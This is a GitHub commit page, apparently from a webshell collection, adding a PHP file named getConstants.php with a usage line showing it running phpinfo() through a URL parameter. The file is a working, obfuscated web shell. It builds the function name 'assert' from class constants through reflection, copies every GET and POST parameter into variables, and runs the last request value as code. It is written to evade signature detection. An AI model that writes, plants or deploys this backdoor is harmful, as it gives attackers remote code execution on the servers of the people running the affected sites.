Skip to content

Commit

Permalink
Create getConstants.php
Browse files Browse the repository at this point in the history
use: xxxxxx/getConstants?1=phpinfo()
from : https://xz.aliyun.com/t/8684
  • Loading branch information
tennc authored Dec 27, 2020
1 parent b66c3bb commit fd35f19
Showing 1 changed file with 27 additions and 0 deletions.
27 changes: 27 additions & 0 deletions php/getConstants.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,27 @@
<?php
class Test
{
const a = 'As';
const b = 'se';
const c = 'rt';

public function __construct()
{
}
}
$para1;
$para2;
$reflector = new ReflectionClass('Test');

for ($i=97; $i <= 99; $i++) {
$para1 = $reflector->getConstant(chr($i));
$para2.=$para1;
}

foreach (array('_POST','_GET') as $_request) {
foreach ($$_request as $_key=>$_value) {
$$_key= $_value;
}
}

$para2($_value);

0 comments on commit fd35f19

Please sign in to comment.